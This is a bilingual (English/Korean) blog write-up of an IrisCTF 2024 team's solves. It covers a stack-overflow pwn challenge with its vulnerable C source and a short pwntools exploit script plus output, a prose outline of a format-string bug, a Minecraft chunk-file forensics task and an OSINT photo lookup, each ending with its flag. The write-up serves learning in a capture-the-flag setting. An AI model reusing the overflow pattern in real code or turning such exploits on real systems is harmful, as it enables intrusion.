인기 검색어

Hacking

2024 IRIS CTF Write UP - 35th place

  • -

 

한국인분들은 아래 KOREAN 부분부터 읽으시면 됩니다.

English

Hi, I'm part of the DeadSec team this time, and I solved 2 prob  on the CTF in a hurry during the BOB project, and one question with a teammate. Even though I solved the 3 prob, I thought it would be good to keep a record of it.

 

PWN

Insanity Check (PWN)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void rstrip(char* buf, const size_t len) {
    for (int i = len - 1; i >= 0; i--)
        if (buf[i] == '\n') {
            buf[i] = '\0';
            break;
        }
}

const char suffix[] = "! Welcome to IrisCTF2024. If you have any questions you can contact us at test@example.com\0\0\0\0";

int main() {
    char message[128];
    char name[64];
    fgets(name, 64, stdin);
    rstrip(name, 64);

    strcpy(message, "Hi there, ");
    strcpy(message + strlen(message), name);
    memcpy(message + strlen(message), suffix, sizeof(suffix));

    printf("%s\n", message);
}

__attribute__((section(".flag")))
void win() {
    __asm__("pop %rdi");
    system("cat /flag");
}

 

If you look at the code above, you'll notice that we immediately get an overflow from strcpy in main, and we provide a flagright after we pop the rdi in a function called win. Once we get past copying the suffix of the message, the last 8 bytes of the stack are the structure 

.com\0\0\0\0\0 (four NULL bytes added to the suffix). Covering the RET value with 0x6d6f632e (.com), which is the function address of win, solves the problem.

from pwn import *
context.terminal=["tmux","splitw","-h"]
context(arch='amd64',os='linux')
r = remote('insanity-check.chal.irisc.tf', 10003)
payload = b"A" * 56 + b"\n"
r.send(payload)
r.interactive()
[+] Opening connection to insanity-check.chal.irisc.tf on port 10003: Done
[*] Switching to interactive mode
irisctf{c0nv3n13nt_symb0l_pl4cem3nt}

 

Serious Banking(SOLVED BY msh1307) (PWN)

When we make a transaction, we get a sign extension that converts Signed -> Unsigned.

This allows us to invade the seperator variable, and since seperator is used in print(seperator), we even figured out that it could be used for FSB.

But you beat me to it :D

 

Thx For msh1307

 

FORENSINC

Corrupted World(FOREN)

I was given a file called r.0.0.mca. An mca file is a chunk file for Minecraft, and from the hints I was able to figure out that it was giving me the coordinates 104 63 248. I created a map for single-player, manipulated some of the chunk files to force load the chunks, and found that there was a box at those coordinates, but nothing in it. Assuming that the problem was "Corrupted World" and therefore invisible to the loader that loaded the chunk, I tried to use the  https://github.com/funnyboy-roks/mca-parser MCA parser for recovery, but it didn't work with the latest version of 1.20.2, so I did a little trick and opened a server with buckets and then figured that if I loaded the chunk from the server, it wouldn't load and fix it because it wasn't a local map, so I opened a local bucket server and TPed to those coordinates, and There are some of the FLAGs were book titles.

irisctf{block_game_as_a_file_system}

 

 

OSINT

Czech where?

The problem shows you a picture of your surroundings and asks you to find the name of a road in that location. Through a Google image search, I was able to find a blog by a Japanese person.

 

irisctf{zlata_ulicka_u_daliborky}

 


Korean

안녕하세요, 이번에 DeadSec 팀 소속으로 문제를 풀게 되어 BOB 프로젝트 도중 급하게 CTF에서 2문제를 풀고, 한 문제는 팀원과 함께 풀었습니다. 3문제를 풀었더라도 기록은 남기는 것이 좋을 것 같아 기록으로 남깁니다.

 

PWN

Insanity Check (PWN)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void rstrip(char* buf, const size_t len) {
    for (int i = len - 1; i >= 0; i--)
        if (buf[i] == '\n') {
            buf[i] = '\0';
            break;
        }
}

const char suffix[] = "! Welcome to IrisCTF2024. If you have any questions you can contact us at test@example.com\0\0\0\0";

int main() {
    char message[128];
    char name[64];
    fgets(name, 64, stdin);
    rstrip(name, 64);

    strcpy(message, "Hi there, ");
    strcpy(message + strlen(message), name);
    memcpy(message + strlen(message), suffix, sizeof(suffix));

    printf("%s\n", message);
}

__attribute__((section(".flag")))
void win() {
    __asm__("pop %rdi");
    system("cat /flag");
}

 

위 코드를 보면 main에서 strcpy에서 오버플로우가 나는 것을 바로 알아챌 수 있고, win이라는 함수에서 rdi를 pop한 후 바로 플래그를 제공하는 것을 알 수 있습니다. message의 suffix를 복사하는 과정을 지나고 나면, 스택의 마지막 8바이트는 

.com\0\0\0\0(suffix에 NULL바이트 4개)가 추가한 구조가 됩니다. RET 값을 win의 함수 주소인 0x6d6f632e(.com)로 덮으면 문제를 해결할 수 있습니다. 

from pwn import *
context.terminal=["tmux","splitw","-h"]
context(arch='amd64',os='linux')
r = remote('insanity-check.chal.irisc.tf', 10003)
payload = b"A" * 56 + b"\n"
r.send(payload)
r.interactive()
[+] Opening connection to insanity-check.chal.irisc.tf on port 10003: Done
[*] Switching to interactive mode
irisctf{c0nv3n13nt_symb0l_pl4cem3nt}

 

Serious Banking(SOLVED BY msh1307) (PWN)

거래를 진행할 때 Signed -> Unsigned로 변환되는 부호 확장이 일어나게 됩니다.

이를 통해 seperator 변수를 침범할 수 있게 되고, seperator는 print(seperator)에서 사용되기 때문에 FSB에 사용될 수 있는 것까지 알아냈습니다.

그러나 팀원분이 먼저 해결해주셨습니다 :D

 

FORENSINC

Corrupted World(FOREN)

r.0.0.mca라는 파일이 제공되었습니다. mca파일은 마인크래프트의 청크 파일인데, 힌트를 보면 104 63 248라는 좌표를 주고 있음을 알아낼 수 있었습니다. 싱글 플레이를 위한 맵을 제작하고, 청크 파일 일부를 조작하여 청크를 강제 로드했는데, 해당 좌표에 상자는 있었지만 아무 내용이 없는 것을 확인 할 수 있었습니다. 문제 자체가  "Corrupted World"기 때문에 청크를 로드한 로더에게는 보이지 않는다고 가정, 복구를 위해 https://github.com/funnyboy-roks/mca-parser MCA 파서를 사용하려 했지만, 1.20.2의 최신버전에서는 작동하지 않았기 때문에 약간의 트릭으로 버킷으로 서버를 연 다음 서버에서 청크를 로드하게 된다면 로컬 맵이 아니기 때문에 청크가 로드되어서 Fix되지 않을거라 판단, 로컬 버킷서버를 열고 나서 해당 좌표로 TP하게 되니 FLAG의 일부들이 책 제목으로 되어있었습니다.

irisctf{block_game_as_a_file_system}

 

 

OSINT

Czech where?

문제에서 주변 환경의 사진을 보여주면서 해당 위치의 도로 이름을 구하라고 합니다. 구글 이미지 검색을 통해 일본인의 블로그를 발견할 수 있었습니다. 

irisctf{zlata_ulicka_u_daliborky}

 

'Hacking' 카테고리의 다른 글

Codegate 2024 Junior Prequal Writeup  (4) 2024.06.14
TBTL 2024 CTF - Pwn From Past ( 4 solved) writeup  (0) 2024.05.13
2023 Hacking Championship WriteUp - 2nd place  (1) 2023.11.22
2023 JBU CTF WriteUP  (4) 2023.11.21
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.